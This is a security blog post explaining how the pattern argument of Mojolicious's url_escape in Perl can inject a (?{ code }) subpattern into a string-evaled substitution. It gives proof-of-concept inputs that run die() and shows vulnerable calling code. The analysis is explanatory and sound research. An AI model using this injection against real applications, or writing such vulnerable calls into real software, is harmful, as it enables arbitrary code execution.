Mojolicious: Executing code with url_escape()

08/04/19 — sgo

failraptor

Let’s look at the url_escape function in the Mojolicious web framework for Perl 5, and how it can be used to evaluate code through the second argument of the function.

TLDR;

use Mojo::Util qw(url_escape);
url_escape('some-stuff', '\w](?{die()})|[a'); # Dies!

The url_escape function

This function is a part of the very useful Mojo::Util library.

It accepts a list of two arguments:

  1. A string to escape $str
  2. An optional pattern that determines what characters to escape $pattern

Some usage examples:

url_escape('foo/bar.baz'); # Returns "foo%2Fbar.baz"
url_escape('foo/bar.baz', '/.'); # Returns "foo%2Fbar%2Ebaz"

This is the implementation in Mojolicious v8.13:

sub url_escape {
  my ($str, $pattern) = @_;

  if ($pattern) {
    unless (exists $PATTERN{$pattern}) {
      (my $quoted = $pattern) =~ s!([/\$\[])!\\$1!g;
      $PATTERN{$pattern}
        = eval "sub { \$_[0] =~ s/([$quoted])/sprintf '%%%02X', ord \$1/ge }"
        or croak $@;
    }
    $PATTERN{$pattern}->($str);
  }
  else { $str =~ s/([^A-Za-z0-9\-._~])/sprintf '%%%02X', ord $1/ge }

  return $str;
}

When url_escape is called with a $pattern it hasn’t seen before, it will generate, string eval and cache a function to handle this specific pattern. Subsequent calls with the same $pattern will re-use the generated code.

So, an input parameter to the function is interpolated into a string which is evaled… Interesting! Let’s try to inject some code. :D

Quoting

(my $quoted = $pattern) =~ s!([/\$\[])!\\$1!g;

The $pattern input value is quoted with the expression s!([/\$\[])!\\$1!g; and stored in $quoted before it’s interpolated into the string of code to be evaled, preventing us from ending the pattern part of the string substitution. Damn… So close!

Code Subpattern

It doesn’t appear that we can (easily) break out of the substitution expression, so let’s try something inside the expression instead, like (?{ code }).

code subpattern: A regular expression subpattern whose real purpose is to execute some Perl code—for example, the (?{…}) and (??{…}) subpatterns.

Very nice, but this can be a bit dangerous, as the perlre doc points out:

[..] for reasons of security, use re ‘eval’ must be in scope. This is to stop user-supplied patterns containing code snippets from being executable. In situations where you need to enable this with use re ‘eval’ , you should also have taint checking enabled. Better yet, use the carefully constrained evaluation within a Safe compartment. [..]

Normally, adding (?{ code }) to a pattern through string interpolation would result in a fatal error, unless use re 'eval' is set. But since the code we want to tamper with is string evaled, these restrictions do not apply.

Crafting the $pattern argument

This is what we want to execute:

die()

Let’s wrap die() in a code subpattern and add some stuff to both sides of it to make it match and compile.

'\w](?{die()})|[a'

Passing this $pattern to url_escape makes it generate code that looks like this:

sub { $_[0] =~ s/([\w](?{die()})|[a])/sprintf '%%%02X', ord $1/ge }

So we’re left with:

url_escape('some-stuff', '\w](?{die()})|[a'); # Dies!

Is this a vulnerability?

The Mojolicious team reviewed a PoC before this post and concluded that it was not a security vulnerability.

This behaviour is not exploitable unless the function is used incorrectly. It could for example allow for vulnerability chaining if a bug is found that allows an attacker to control the $pattern argument.

How to create vulnerable code:

  1. The most obvious way to create a vulnerability is to expose the second $pattern argument of url_escape directly to user input. Game Over.

  2. A more subtle way is by having another function return a list an attacker can control as arguments to url_escape.

    use Mojo::Util qw(url_escape);
       
    sub good { return 'some-stuff' }; # returns 1 string
    sub evil { return ('some-stuff', '\w](?{die()})|[a') }; # returns 2 strings
       
    url_escape( good() ); 
    url_escape( evil() ); # Dies!
    

    Variations of this belong to a class of vulnerabilities in Perl web applications that are generally well known.

Takeaways

Regular expressions in Perl are very powerful, functions that return lists can be scary, and library functions can have hidden features.